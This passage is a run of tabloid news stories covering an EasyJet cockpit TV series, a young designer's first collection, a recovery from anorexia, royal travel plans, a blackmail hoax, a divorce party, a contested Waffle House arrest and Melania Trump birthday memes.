opportunity to show what our job involves' (file picture) Its a good opportunity to show what our job involves, the sort of responsibility we have. Iris became entranced by planes when she was a little girl. Her father travelled for work, and his regular flight took him over the family home. Id wave up at him, and from then I wanted to be a pilot. Part of the attraction is the impossibility of it, she says, when youre flying with a big bus under your bum. The filming covered a momentous day in Iriss career when she shifted from the right-hand (first officers) seat in the cockpit to the left-hand one, becoming a captain for the very first time. Its what youre aiming for from the first minute you start flying, and to have it happen during filming was a very special moment for me, she says. The Aqaba flight was quite a talking point, too. It was the first journey on EasyJets new route and crews more used to flying from the UK to mainstream tourist destinations were bemused to hear they shouldnt worry too much about sand blowing up from beside the runway. In the first episode, Captain Emma Henderson helps a passenger who is later sick on her flight (file picture) It was likely to be linked to the clearing of landmines. Eek. Still, there was a welcoming party out for the plane when it did land. They treated us like VIPs, says Iris. But what happens when the passengers dont feel like VIPs? This series shines a light on those irritating delays, when you feel you are sitting on runways or in departure lounges for hours. The cameras capture the frustrations of the pilots, the frantic behind-the-scenes shenanigans. In the first episode, Captain Emma Henderson helps a passenger who is feeling claustrophobic in the confines of her seat (and lets face it, havent we all been there?). The woman is perhaps more ill than anyone expected, though. Looking dazed, she collapses in the pilots arms, then proceeds to vomit all over her. Cue a delay as the woman is helped off the flight. The cameras capture the frustrations of the pilots and behind-the-scenes events while also giving an insight into what it takes to become one - with training costing up to 100,000 (file picture) There are hairy moments, too. One team are filmed on the approach to Innsbruck, which is a category C airport, meaning that only specially trained pilots can land there due to the difficulty of the terrain. The captain today cheerily admits that he has, in the past, heard passengers screaming in the back as he landed. Todays approach is a bit white-knuckle and the team are seconds from having to abort the landing because they simply cannot see a thing, save for a thick blanket of cloud. The stars of the show are the pilots themselves. A career as a pilot is notoriously hard to achieve. Many have to fund their own training, and given that it can cost up to 100,000, its a tricky world to get into. Later in the series theres a bit of a weepy moment when first officer Josh Taylor, who is just 26, welcomes his father on board. It is the first time he has flown his dad Ian, who remortgaged his house to fund his sons early training. Dad always supported me, Josh told me. Having him on a flight was a really special thing for me, just having him be able to say, Thats my lad. Josh has been with EasyJet for two years, and still admits to having to pinch himself every time he takes the controls. One minute youre a nerdy kid with a flight-simulation game on the computer, and the next youre sitting beside the captain, with a plane full of passengers, heading to Milan. 'Nothing beats that feeling when you get a break in the cloud. You never fail to go, Wow! EasyJet: Inside The Cockpit, Thursday, 9pm, ITV. Diane von Furstenberg's 19-year-old granddaughter has debuted her first fashion collection. On Wednesday, Talita von Furstenberg launched TVF for DVF, her first designs under her grandma's eponymous label. And though she may still be just a teenager, Talita says the 23-piece collection the first of many to come has been a long time coming. Big debut! Diane von Furstenberg's 19-year-old granddaughter Talita (pictured front) has debuted her first fashion collection It's finally here! Called TVF for DVF, the line is something she says she has wanted to do since she was six years old Buy it now: Everything in the 23-piece collection is priced under $300 'I thankfully had an amazing team who were easy to work and communicate with,' she said 'Even since I was literally six years old, I've been asking my grandma if I could design TVF for DVF,' she told Vogue. 'I've just always wanted to do it.' She's done the work, too, learning at her grandmother's side from a very young age. 'When I was nine, I went to Florence with my grandma for a special resort runway collection she was doing,' she told Teen Vogue. 'She told me I could only come if I really worked so there I was, mini-me helping cast the models and style the looks. 'Obviously I wasn't actually doing anything since I was so young, but I felt so involved and instrumental in the success of the project. After that trip I realized that fashion was 100 per cent. what I loved and wanted to pursue.' Since she moved from Los Angeles to the East Coast for college she attends Georgetown University, where she is majoring in Justice and Peace she says she has taken on a bigger, more official role in the company. On her own: Talita said she didn't seek her grandma's advice during the design process because she didn't want her to influence her decisions too much Worker bee: Talita has been 'working' with the brand since age nine, when she helped her grandmother during fashion week Wait for it... This first collection doesn't have any of her grandmother's signature wrap dresses, though they may pop up in the fall collection Inspo: She said these designs were inspired by her two favorite things, flowers and the sea She also insists that she was 'involved in every decision,' unlike some celebrity vanity collaborations in which a celebrity signs off on the final product and slaps her name on it. 'It was definitely a learning process, but one which truly ignited my love and passion to not only launch my first-ever capsule but continue to grow in the realm of design for the future,' she said. 'I thankfully had an amazing team who were easy to work and communicate with,' she went on. 'The process of creating one garment goes through many phases; it can easily end up looking very different than the piece was intended to be in the beginning, so constantly following up and having transparency is necessary.' But while she worked with a lot of people, one person she didn't run things by was her grandmother, who first launched the label in 1974. 'I didnt want her to influence my decisions since I value her opinion so much,' she explained to Vogue. 'I really would have changed everything based on what she said. 'I wanted to bring a younger, more millennial audience to the brand through Instagram, through younger clothing, and through a less-expensive price point,' she said 'DVF definitely represents the working woman. TVF is not at the same place in her life where she has a 9-to-5 job. She doesnt need, specifically, work clothes,' she went on Exciting! The collection is currently available online and in select stores, and Talita and Diane have been promoting it on social media 'She actually didnt see the clothes until they were produced. She had some criticisms, so we made some adjustments. She likes to get me stressed out,' she added. The final collection, which is priced from $128 to $298, is inspired by flowers and the sea. There are florals and pastels, crop tops and swishy skirts, youthfully short minis and boho maxis. What there aren't, yet, are her grandma's signature wrap dresses. 'I wanted to bring a younger, more millennial audience to the brand through Instagram, through younger clothing, and through a less-expensive price point,' she said. 'DVF definitely represents the working woman. TVF is not at the same place in her life where she has a 9-to-5 job. She doesnt need, specifically, work clothes. Part of the brand: Diane named Talia her 'muse' last year when she started modeling for the brand (pictured: February 2018) Model moment: The teen modeled the Fall 2018 collection for the brand's lookbook It's certainly in her blood! Talita said she was 'born to do fashion' 'Shes still the effortless, easy, on-the-go woman that DVF is, just at a different point in her life, dressing for different types of events. Eventually, the TVF customer can become the DVF customer as we both grow.' Talita and Daine, 72, first announced the partnership in an interview for Town & Countrys March 2019 issue. 'I look at it this way,' Talita, who proclaimed she was 'born to do fashion,' said at the time. 'Your mom wore DVF, and maybe your grandmother wore DVF, but now I can bring something a little more fresh and youthful.' Previously, Talita modeled clothes for the brand's Fall 2018 lookbook, with DVF calling the teen her new 'muse' A student became so consumed with anorexia that her weight plummeted to just under 36kg (5st 9Ibs) but it wasn't until her body and brain shut down that she decided to kick her eating disorder. Drama student and nanny, Sacha Reeve, 25, from Melbourne, was just 16-years-old when she first felt trapped in her own body which lead her to avoid eating food. While at high school, she began throwing out her lunches. Over the next nine years her daily intake decreased to a small bowl of steamed broccoli or greens, a packet of cigarettes and half a can of Pepsi Max amounting to under 150 calories a day. This caused her weight to plunge to just 35.8kg (5st 9Ibs) and a size four. During those nine years she battled two eating disorders - bulimia and anorexia. Sacha Reeve, 25, from Melbourne battled anorexia and bulimia for nine years. Her condition left her unable to recognise anyone's face, unable to write, read or talk. Pictured: Sacha after her recovery The student's weight dropped to 35.8kg (pictured) and after her body shut down, Sacha had to be checked in a rehab center Sacha, who started skipping meals when she was 16, said she felt trapped in her own body, felt 'ugly' and 'fat' After years of battling with her health and eating disorder, she was taken to the emergency room to get help and there they tried to encourage her to eat more. Still in denial, she didn't understand why she was there, thinking she wasn't sick enough to be there and begged her mother to take her home, but her mother couldn't bare the thought. She waited for over a week for a place at an eating disorder hospital which only had four beds available. Her doctor took her blood pressure and referred her to a heart specialist, she was sent to the intensive care unit (ICU), where she was told that her heart was failing. Now healthy, Sacha shares her story in order to help those who are still suffering from eating disorders. Pictured: the young student showing off her healthy size 10 The recovery was long for Sacha, who had to be treated for a year to work on her weight and mental health. Pictured: A happy Sacha after recovering from anorexia and bulimia Her condition caused her body to shut down and she couldn't recognise anyone's faces. She also couldn't talk, read or write, but it wasn't until she checked into rehab in Byron Bay that she was able to tackle the root of the problem; her mental health. After a few months in treatment and a year of living in Byron Bay, she started dedicating her time to eating three meals a day and quitting the gym, she slowly managed to improve her health and reach a healthy weight of 60.7kg (9st 8Ibs) and size eight to 10. She now wants to help others who are going through a similar journey to give them hope that it does get better. 'It started in high school I'd say. I started throwing out my lunches when I was a diver and then after leaving school it escalated quite quickly and then stuck around for a very long time,' Sacha said. Sacha (pictured now after her recovery) used to eat a small bowl of steamed broccoli or greens, a packet of cigarettes and half a can of Pepsi Max amounting to under 150 calories a day. Now she eats three healthy meals a day The young drama student said that the feeling of not 'being good enough' was a very hard one to break through,' but she now loves her body (pictured) 'I felt fat, I felt ugly, I felt worthless, I felt trapped and there is a stronger meaning behind those words rather than just 'fat' for example would mean sad and angry and hurt. 'I thought and felt like I was a complete and utter waste of space and not worth anything at all so I placed such a high value on my looks that when they weren't good enough I had failed myself completely and just didn't deserve to take up any space. 'The feeling of not being good enough or of value to take up space in the world, is such a hard one to break through and I still battle with that thought to this day. 'Having anorexia is like you're two different people; the illness is one person and then there is you, the true essence of who you are and as it gets worse the anorexia becomes louder and the fight is so ridiculously hard to fight in your mind that you give in.' Sacha fought hard to leave anorexia and bulimia out of her life. It was not until she was told her heart was failing that she started her recovery process From a size 4 (left) to a size 10 (right). Sacha is now proud of her body. She said her body shutting down, which left her in a vegetative state, was an 'eye opening' experience 'I was never bullied, I was never overweight, I think for me it came from my internal belief system I had created about myself which is quite a heavy topic to get into.' It wasn't until Sacha was sent to hospital and was told that her heart was failing that she was forced to start her recovery process. But when her mum was diagnosed with bowel cancer, she decided that she had to get better. 'I ended up crying to the doctor, security and my mum for a good few hours begging them to let me go home and do recovery with a team outside,' she said. 'My blood sugars were so low they couldn't let me leave until I ate a pear which was such a fight to get me to do and included security standing over me till I ate it. 'I got home and lasted about two more weeks at home until I went to my doctor who I was seeing every other day due to my health risks. Before her recovery, Sacha would hit the gym often (pictured). She said she wants to break the silence on eating disorders and create a conversation that would not happen otherwise Sacha pictured at her smallest weight during her illness. Sacha said she was never bullied nor overweight, but felt compelled to skip meals because of how she saw herself 'She took my blood pressure, called a heart specialist and then sent me straight to the ICU to be admitted as my heart was now failing. 'I stayed there for a few weeks and really committed to recovery by this point. I dabbled in and out of recovery for the next few months until one day my mum was with me at a new psychologist appointment and I came out of the appointment and saw her crying in the car with abdominal pain. 'We drove straight to the hospital and she stayed overnight for further testing. I woke up in the morning with missed calls from the doctors telling me I had to come in as soon as I could. 'I remember walking in and seeing my mum's face with her just nodding and cuddling me so tightly while I cried into her arms. She had been diagnosed with bowel cancer. 'I just knew in that moment that I had to pull myself together as much as I could, so for the next couple of months I was taking her in and out of treatment most days of the week, I was also working and in a very toxic relationship, whilst trying to keep up my own recovery. Sacha happy with her body (and with a very cute puppy) after her recovery. She now wants to raise awareness of eating disorders and the dangers they pose on people's lives by sharing her journey with her followers on Instagram 'It was tough, and I got to a point of such exhaustion, malnutrition, a terrible break up and a few other things getting to me, my body and brain shut down completely. 'I was in a vegetative-like state; I couldn't recognise anyone's faces, I couldn't talk, I had no idea what people were saying to me when they spoke, I couldn't write or read, I had no idea where I was at all times, it was the most scary time of my life. 'I was taken to hospital, had a multitude of brain scans done and kept there because they had no idea what was going on. 'Luckily at this time mum had some time off treatment so she was able to take me home and back to her house to look after me for a few weeks while this passed. Sacha's back before her recovery. Sacha said she felt she was 'merely existing' during the height of her illness The fight to recovery was long and difficult. Sacha, pictured in a lift with a drip during her illness, begged her doctor and mother to let her recover at home, but checked herself in a rehab in order to work on her mental health Sacha pictured with one of her friends after recovering from her illness. She said: 'I don't wake up in the morning and hate myself, I have body neutrality, my days aren't taken up by exercising every day' 'It did pass; I ate a lot, like a lot, I rested a lot, and slowly but surely I started speaking again, recognising faces, understanding what others were saying etc. 'It was so eye opening for me to see just how much I had run myself into the ground with my disease and everything else going on around me. After this I fully committed to recovery which I really did give my best shot..' Sacha now wants to raise awareness of eating disorders and the dangers they pose on people's lives by sharing her journey with her followers on Instagram. WHAT IS ANOREXIA? Anorexia is an eating disorder and a mental health condition. People diagnosed with it try to keep their weight as low as possible by eating little or excessive exercise. Men and women can develop the illness, however it typically starts in the mid-teens. Those with anorexia can have a distorted image of their bodies, thinking they're fat when in fact they are severely underweight. Causes of the condition are unknown, but those with it have either low self-esteem, have a family history of eating disorders or feel pressured from society or place of work. Long term health complications can include muscle and bone problems, loss of sex drive, kidney or bowel problems or having a weakened immune system. Treatment for anorexia can include cognitive behavioural therapy. Advertisement 'I'm not merely existing anymore but I'm living. I can now travel without being scared my heart is going to fail me on a plane (although I still get anxiety from my past experience),' she said. 'I'm able to study my dream course of screen acting full time, I can work a job that I love and fulfils me, I can go out with my friends for dinner and drinks without knowing the menu inside out before we go. 'I don't wake up in the morning and hate myself, I have body neutrality, my days aren't taken up by exercising every day. 'I'm a very creative person and I love creating images that reflect how I'm feeling and a message I want to convey to anyone else struggling. 'If I can help anyone feel less alone in a time of need, then I've done my job. I think struggling with mental health and eating disorders means it's so easy to feel so alone and isolated which just feeds the disease. 'So being vulnerable for a few seconds on a post on Instagram for me is worth giving someone else hope, a sense of community and support, feelings of being understood and somewhat connected. 'In this day and age, I think it's much more common than we think to have body image issues and eating disorders so all I'm really doing is breaking the silence on it and speaking about it, creating conversations that wouldn't happen otherwise. 'Our bodies are merely a vessel for our souls. What is inside is so much more important than the outside. What we can give to the world and others is much more important than what we look like.' The young student said she is a very creative person and 'loves creating images that reflect how she's feeling. Pictured: .Sacha wearing a bikini after her recovery. The Sussexes will postpone their visit to the US and Canada for a second time, new reports claim. Last December, it was understood that Californian-born Meghan, 37, was to return to both her former homes during an official tour of Canada and the US in Autumn 2019 - with Harry and their new baby. Sources told the magazine that the couple had rescheduled their proposed Spring tour due to the mother-to-be's pregnancy. But now, with the birth of the royal baby imminent, Meghan, 37, and Harry, 34, seem to have changed their travel plans once again. 'As it stands, the Duchess of Sussex won't be going away on an official overseas tour this year,' a source told Vanity Fair. 'That's the word out of the Palace, although things might change. Right now we have been told that there won't be any overseas travel before the end of the year because Baby Sussex will be too young.' The Sussexes will postpone their visit to the US and Canada for a second time, Vanity Fair magazine claims. Pictured, Meghan at International Women's Day Queen's Commonwealth Trust panel discussion at King's College, London on March 8 2019 Reports claim 'there won't be any overseas travel before the end of the year because Baby Sussex will be too young.' Pictured, Duke and Duchess of Sussex attend the Commonwealth Day service at Westminster Abbey on March 11, 2019 It's believed the couple were due to visit California-born Meghan's home and Canada, where she lived for seven years while filming Suits. Speaking to the publication, sources claim the royal couple are still 'really keen' to tour North America, 'but understandably anxious about doing it with such a young baby. They're anxious about committing to such a big tour at this stage.' And it seems travel is a topical subject when it comes to the Duke and Duchess of Sussex as earlier this week, it was revealed they hope to take a six-month 'secondment' to Africa in the next few years. It was revealed that planning for the move is still in the 'brainstorming' stage, and that there have been no formal discussions outside the palace walls - but one source described it as a 'likely scenario'. Last December, it was reported that Meghan was to return to both her former homes during an official tour of Canada and the US in Autumn 2019 - with Harry and their new baby. Pictured: the parents-to-be arriving in Wellington on the royal tour of New Zealand in October The reports come just days after it was revealed the royal couple hope to take a six-month 'secondment' to Africa in the next few years. Meghan Markle, pictured at the British Fashion Awards earlier in December, is due to give birth to her and Harry's first baby any day now Reports of Harry and Meghan's 'Out of Africa' project first surfaced in The Sunday Times, which quoted a source as saying that courtiers had drawn up plans to send them abroad 'for two to three years.' It's believed the trip would be a sabbatical instead of a long-term fixture and would combine their jobs as Commonwealth ambassadors with charity work and a role promoting Britain. It was also suggested the proposal would offer them a break from the reported rift between Harry and his brother William, while 'harnessing' the Sussexes' global appeal. Sources claimed the Sussexes' advisers are working on Harry and Meghan's 'bespoke' African role with the help of Sir David Manning, a former ambassador to the US, and Lord Geidt, the Queen's former private secretary who chairs the Queen's Commonwealth Trust. Botswana which Harry has previously described as his 'second home' is one of the countries that has been suggested, as well as Malawi and South Africa. Not only is Harry's charity Sentebale based in Botswana and Lesotho, but he and Meghan visited the country just a few weeks after it was announced they were dating in 2016. Reports of Harry and Meghan's 'Out of Africa' project first surfaced in The Sunday Times. Pictured The Duchess Of Sussex departs after visiting Mayhew Animal Welfare Charity on January 16, 2019 in London A cruel prankster has tried to blackmail a pair of grieving parents who lost their baby girl just days ago. Melbourne couple Jay and Dee Windross lost their 11-month-old daughter Amiyah, who had been fighting a terminal illness, on Wednesday. A man contacted the couple on Friday claiming he had their stolen mobile phone which contained photos of their daughter but wouldn't return it unless he was paid $1000. Victoria police found the man and confirmed he had never been in possession of the phone. Melbourne couple Jay and Dee Windross lost their 11-month-old daughter Amiyah (pictured) who had been fighting a terminal illness on Wednesday A man contacted the couple on Friday claiming he had their stolen mobile phone which contained photos of their daughter 'Dee and I were furious, to begin with, but we're now absolutely devastated with this news. Our hearts can't deal with any more,' Mr Windross told 7News. The parents made a plea which went viral after the phone was stolen from Chadstone Shopping Centre on Saturday. 'Someone has picked up Dee's phone from a toilet next door to Target in Chadstone around 5:30pm,' Mr Windross wrote in a Facebook post. 'It is a Samsung Galaxy S8 with a purple cover. Our 11-month-old daughter is currently deteriorating in ICU and is in her last days with us and this phone holds all our memories of her. 'We understand that you have either found a new phone to use, or you can sell it to make money, but please understand that this means more than money to us.' 'No questions asked. No grudge held. We beg you as grieving parents not to wipe the phone,' he said. 'This phone holds the memories of what little life our daughter has had. 'If you want the phone, we're more than happy to arrange to meet, we'll copy the photos off the phone and you can keep the phone. What is on the phone is worth more than anything in our life.' 'If you have the phone, or know of its whereabouts please drop the phone off to reception at Monash Children's Hospital or any information desk at Chadstone,' Mr Windross said. Princess Elisabeth of Belgium met firefighters today and was taught how to use a hose, as she joined her father King Philippe, at a firefighter training demonstration in Brussels. Elisabeth, 17, who is the eldest daughter of Queen Mathilde, 46, and King Philippe, 59, beamed as she met with professionals at the capital's training centre. The daughter and father duo both donned firefighter jackets and were involved in several demonstrations in addition to King Philippe giving talks to students and instructors. Princess Elisabeth (left) immersed herself into the opportunity to learn about the role of firefighters from several demonstrations King Philippe, 59, and his daughter Elisabeth of Belgium (pictured) visited the firefighter formation centre in Brussels today The Belgian Royals were shown the basic and advanced training firefighters within Belgian undergo to master terror situations Princess Elisabeth donned a rec scoop neck top teamed with denim jeans for a casual look, alongside her father who gave talks to instructors and students Princess Elisabeth wore her hair in a relaxed but practical style for the occasion as she got to grips with using a firefighter's hose. The Belgian Royal fully immersed herself into the role by taking the opportunity to aid those attending to pretend victims. King Philippe and Elisabeth were shown the basic and advanced training which professional firefighters undertake. Attendees also explained the challenges and motivations of pursuing the profession, which counts at least a thousand people among staff in the capital. The 17-year-old wore her hair in a practical style with loose curls as she aided the special firefighters and elite police Professionals at the training centre explained the challenges and motivations of pursuing a career within the force Princess Elisabeth who is currently studying at a boarding school in Wales, appeared delighted as she spent time with her father at the engagement Elisabeth's siblings Princess Eleonore, 11, Prince Emmanuel, 13, and Prince Gabriel, 15, and her mother Queen Mathilde didn't attend the visit The Princess accessorized her look with large gold hoop earrings for a youthful addition to her minimalist style The force who wore ballistic helmets showed respect to the Belgian Royals with a salute as they passed through the training centre Princess Elisabeth was all smiles as she and her father were shown the continuous training the fire brigade undertake to develop versatile skills Special firefighters wore ballistic helmets and were assisted by elite police during the demonstration. The force, which have a versatile set of skills, was created to master terror situations. Elisabeth's three siblings Princess Eleonore, 11, Prince Emmanuel, 13, and Prince Gabriel, 15, were not in attendance of the engagement. King Philippe, who has a number of items on his agenda for the remainder of the month, maintained a polished appearance alongside his daughter in a black suit paired with a brightly-coloured tie. The Royals were saluted as they passed through the firefighters training centre and appeared in high spirits at opportunities given to speak to fellow attendees. King Philippe donned a polished look as he walked alongside his daughter in a tailored suit paired with a brightly coloured tie The 17-year-old appeared engaged as she listened attentively to the demands of the heroic profession The Belgian fire brigade had just 100 men when it was set up by the Brussels City Council in 1800 and now has at least a thousand firefighters Princess Elisabeth who is heir to the Belgian throne, is studying German and speaks English and French according to her official biography One woman, who spent 15 years trying to file for divorce from her husband, threw a divorce party complete with cakes and balloons when she eventually became a divorcee. Area manager Catherine Navarro, 34, from New Jersey, was just 20 years old when she married her first love, Marc, in May 2005 after making a very last-minute decision only the week before the event itself. The relationship soon became toxic, and Catherine filed for divorce. However, Marc refused, before disappearing, leaving Catherine having to prove she had searched all over for her husband before the court could grant her a divorce in his absence. Wow! Catherine Navarro, 34, threw a divorce party after eventually separating from her husband after spending years trying to file for a divorce Celebration: The New Jersey native married her first love, Marc, in May 2005. However, their relationship quickly turned toxic, as Catherine said the relationship was full of secrets Yikes! She filed for divorce in 2012, but Marc refused. He then disappeared, meaning she had to prove she had searched for him before the court would grant her a divorce in his absence At first, Catherine thought Marc was joking when he suggested they tie the knot while at another friend's wedding. However, she managed to pool together her friends and family to organize a last-minute wedding. Catherine and Marc's wedding ceremony was at City Hall in New York City with witnesses including Catherine's friends and her mum. Following the official ceremony, the wedding party drove back to New Jersey for an intimate party at Catherine's parents' house. Happy: After years of proving Marc's absence, Catherine was finally granted a divorce on March 18, 2019 Unfortunately, the relationship became increasingly toxic and Catherine soon realized that their relationship was full of secrets. In 2012 Catherine filed for divorce but Marc refused. Unfortunately for Catherine, Marc disappeared entirely so she had to prove that she had searched all over for her husband before the court could grant her a divorce in his absence. After years of proving Marc's absence, Catherine was finally granted a divorce on March 18, 2019 and she was so pleased that she decided to organize a 'divorce party' with the help of her friends. The 'divorce party' was a celebration of Catherine's new beginning which had been years in the making. Around 30 guests enjoyed a cake decorated with the words 'straight out of marriage', cupcakes topped with phrases such as 'boy, bye' and balloons with 'happily divorced' written across them. 'Marc and I decided to get married at my cousin's reception a week prior,' Catherine said. 'Honestly, I thought he was joking at first because we'd been drinking and were on a dance floor in that moment, but a few days later he followed up about my dress and flowers. 'I immediately called my best friends who all attended my divorce party before heading straight to the shopping center with my mum,' she said. Catherine purchased her 'stunning' wedding dress for about $100. Joy: Pictured with friends at the celebration, Catherine wanted to mark the occasion by throwing a divorce party and celebrating with some of her closest friends Excited: 'I was so excited to finally have my maiden name back and be rid of him,' Catherine, seen posing with friends at the event, said 'I ordered a two-tier white cake with lilies on the side. As I'm always multitasking, I ordered it while getting my nails done and instructing my best friend to pick up lights and decorations that would ultimately set the mood for a reception in my parents' living room. 'On the day, the weather couldn't have been more perfect, it was an absolutely gorgeous day for a ceremony at City Hall in New York City. Witnesses included my best friends, my bridesmaids, and of course, my mum. Theme: Attendants of the party held up signs that read 'we never liked him' and 'support crew' while posing for photos 'Afterwards, we all drove back to New Jersey for an intimate gathering at my family's house. It was a simple affair that came together perfectly in such a short time-frame. 'I realized not long into the marriage that I didn't know him at all and there were too many secrets. The first divorce proceeding started approximately seven years ago, and lawyers were involved, but he refused to agree to the terms. 'So, it goes in blind love, I eventually gave up on the idea and instead vowed to continue working on our marriage. Ultimately, we separated and during that time, which spanned nearly a decade, I tried to file for divorce multiple times, but he refused to sign the papers. 'When things fell apart again, the road to the final divorce was quite the journey. Marc vanished off the face of the planet and I didn't hear from him or have any idea where he was. 'When this sort of thing happens, when you can't find your husband anywhere, and desperately want to cut legal ties, there's an option to file for divorce in their absence but you have to prove you've looked everywhere,' she explained. Catherine had to prove that Marc was nowhere to be found and once she had the formal evidence, she was granted a divorce in March 2019, much to her gratitude. Shortly after her divorce was finalized, Catherine and her friends had a party to celebrate putting the unhappy marriage behind her on April 6, 2019. Creative: The party featured dozens of cupcakes topped with phrases such as 'boy, bye' and balloons with 'happily divorced' written across them Nice! Guests also tucked into a chocolate cake that read 'straight outta marriage', which was surrounded by photos of Catherine when she was single Celebrating! Various different slogans and fitting props were seen at the party, including an LED sign that read 'finally divorced' Positive: Catherine said: 'I'd definitely recommend a divorce party to anyone else if it's a happy occasion which brings joy, rather than drudging up old memories' Every element down to the cake decorations and the balloons made a reference to being 'happily divorced'. 'It had been years in the making, but the day I finally got divorced, my closest friends, who'd seen me through this whole journey, and I decided it was time to manifest the occasion with an incredible party that would celebrate my new beginning,' Catherine said. 'I was so excited to finally have my maiden name back and be rid of him. It made me so happy. As soon as it was finalized I felt like I was 20 again and had a new chance at love. 'Party highlights included a decadent cake which had 'straight out of marriage' written on it, surrounded by happy photos of me when I was single. We had cupcakes with custom made toppers that had cheeky phrases on them, such as 'boy, bye'. 'The balloons said, 'happily divorced' and there was a cinematic 'finally divorced' sign which served as the photo back-drop. Of course, we also had loads of festive props, and my favorite was a sign which read 'we didn't like him anyway', because my friends didn't. 'Party food was simple, composing of light bites, a meat and cheese platter, fruit and chicken wings. We ate, laughed and danced the night away. It was fantastic. 'I'd definitely recommend a divorce party to anyone else if it's a happy occasion which brings joy, rather than drudging up old memories. 'Everything happens for a reason, and for me in the end it all happened for the best. Don't dwell on the past and instead accept the lessons that every experience provides. 'Life is too short to be in a relationship which doesn't make you happy lawfully or not,' she said, A black woman who was pulled to the ground and grabbed by the neck during a violent arrest that went viral has opened up about the harassment she has faced over the past year, revealing that she is suffering from PTSD and depression. Chikesia Clemons, 26, was visiting a Waffle House in her hometown of Saraland, Alabama, on April 22, 2018, when she and her friend Canita Adams reportedly got into a verbal dispute with an employee over a 50 cent charge for plastic utensils. When the police arrived at the scene, Adams used her cellphone to film the incident, including the shocking moment three officers pulled Clemons from a chair and pinned her to the ground. Scroll down for video Difficult: Chikesia Clemons (right), 26, revealed she been struggling with PTSD and depression after being violently arrested at a Waffle House in her hometown of Saraland, Alabama Viral footage: Video of her arrest that took place last year shows three police officers pulling Clemons from a chair and pinning her to the ground, with one officer grabbing her by the neck 'I'll break your arm, that's what I'm about to do,' one of the officers told her. In the process of the arrest, one of the officers grabbed Clemons by the neck and her top came down, exposing her breasts to patrons. Clemons told Teen Vogue that she was actually on her way home when she stopped at that Waffle House, which was just two blocks away from where she lived at the time. 'I moved after the incident happened. I had to immediately move [again]. I was harassed,' she explained. 'I had neighbors who [recognized] me and they were making sexual comments towards me. [People] were [sexually harassing] me, and I had to get out. My mom, she didn't feel comfortable with me being there, so I had to move.' Clemons' mother, Chiquitta Clemons-Howard, told AL.com last year that the dispute began when her daughter asked for plastic utensils after placing an order and was told there would be a 50 cent charge. Clemons and Adams were perplexed by the additional fee, informing the employee that they had been at the restaurant the previous evening and were not made to pay an additional charge. In response, the employee canceled the order, prompting Clemons to ask for the contact information of the Waffle House district manager who oversees the Saraland location. While she was waiting, the police arrived. Use of force: The officers were called to the scene after she reportedly got into a verbal dispute with an employee over a 50 cent charge for plastic utensils Added element: Police later released surveillance footage of the incident, which occurred on April 22, 2018 Claims: Police said in a news conference that Clemons got into an argument with staff when her group was asked to leave for bringing alcohol into the restaurant 'They didn't even ask her to leave, she was waiting for them to give her the district manager's card so she could file a complaint on one of the waitresses,' her mom said. 'When they went to go get the card, that's when the police showed up. The officer should've come in and said we need you to leave.' Clemons was booked on charges of disorderly conduct and resisting arrest and placed on $1,000 bond. The viral video capturing the violent arrest of a black woman raised questions about mistreatment, but the police and the Waffle House defended their actions. Police in Saraland stated in a news conference that employees at the Waffle House called them around 2:45 a.m., reporting trouble with a woman who appeared drunk and had been asked to leave for bringing in what employees believed to be alcohol. They justified the use of force, claiming witnesses said Clemons was yelling profanities and indicated she might have a gun. They also said the officer who handcuffed Clemons did not mean to threaten her, but give her a warning about how he could hurt her if she didn't comply. The Waffle House sided with law enforcement and said police intervention was appropriate. '[I]t's fair to say that the information we have received at this point differs significantly from what has reportedly been attributed to Ms. Clemons and strongly supports the actions taken by the Saraland Police Department,' Waffle House spokesman Pat Warner told AL.com via email following the incident. Defense: The police and the Waffle House defended the use of force during the incident Behind the scenes: Police also released an image showing Clemons throwing up into a waste basket at the police precinct Mugshot: Clemons was charged with disorderly conduct and resisting arrest and later found guilty. She is now awaiting a retrial, which is slated for August in Mobile Circuit Court Shortly after the video of the arrest went viral, the black rights coalition Color of Change started a petition asking that the charges against Clemons be dropped. Despite it receiving more than 50,000 signatures, Clemons was found guilty of disorderly conduct and resisting arrest. Sharing her story: Clemons' friend Canita Adams (pictured) filmed the incident and uploaded it to social media Clemons told Teen Vogue that she knew she would be found guilty 'because of all the attention of the case, and then the history of the police officers [in the area].' Not only has she and her family had to move multiple times, but she has been struggling to find employment following the fallout. 'I lost my job. I haven't had a job in almost a year now because no one would hire me due to [me having] this national pending case that deals with racism and discrimination,' she said. 'It has had an enormous effect on me. I deal with PTSD and depression. I do have my days when I typically feel like Im not doing enough, or Im not good enough, like Im low to the earth, or I'm like the dirt on the ground. 'They put me on the ground at the Waffle House. I feel like I want to just disappear sometimes. It has put an emotional strain, a physical strain, a mental strain on me,' she added. 'Like I keep saying, it's hard.' Clemons, who speaks to therapists on a regular basis, said the attention has also been difficult on her six-year-old daughter, whose classmates saw footage of the arrest on TV and thought she had died. Hard times: Clemons said she lost her job, has been sexually harassed, and had to move because of the video. She's also been struggling with PTSD and depression Fall out: Clemons said she speaks to therapists on a regular basis. She noted the attention has also been difficult on her six-year-old daughter, whose classmates saw the footage The mom said it has had a 'big impact' on her little girl, who was having nightmares and having trouble falling asleep after seeing the video. She has been learning about racial discrimination and Martin Luther King while grappling with what happened to her mother. Clemons is now waiting on a retrial at Mobile Circuit Court, which is slated to take place in August after initially being scheduled for February 27. The mom has been using money from a GoFundMe that was set up for her, but she has four lawyers to pay for as well as insurance and phone bills. Activists Tamika Mallory and Brittany Packnett have also been helping her during this difficult time. She believes the evidence will prove that 'the narrative' that was put out following her brutal arrest is 'false' and a jury will find her innocent. 'I've never experienced anything like that from any man anyone. So when it happened to me, it really opened my eyes, like this s**t is real,' she said of violence among black women. 'People are really out here doing this stuff not just to do it, but just for fun and just to make themselves feel better about themselves.' Advertisement Melania Trump has become the butt of jokes on her 49th birthday of all days after the White House paid tribute to the first lady with an awkward photo of her sitting alone on a couch. The White House tweeted a picture of Melania seated by herself in the Oval Office last month during President Donald Trump's meeting with Czech Prime Minister Andrej Babis to wish FLOTUS a 'Happy Birthday' on Friday. People couldn't resist taking to Twitter to mock the strange choice of photo, which has inspired viral memes showing Melania cuddled up to everyone from Vladimir Putin to Kellyanne Conway. Awkward: The White House shared this photo of Melania Trump sitting on a couch in the Oval Office by herself last month to wish her a 'Happy Birthday' on Friday Confusing: People couldn't resist taking to Twitter to mock the strange choice of photo In the image, Melania is sitting on the far end of the couch in a green double-breasted coat. Her legs are crossed, and she is staring off into the distance, away from her husband. To add insult to injury, the photographers who surround her are focused on the president and prime minister not her. 'WHY WOULD YOU PICK THIS PHOTO,' one writer tweeted, while someone else 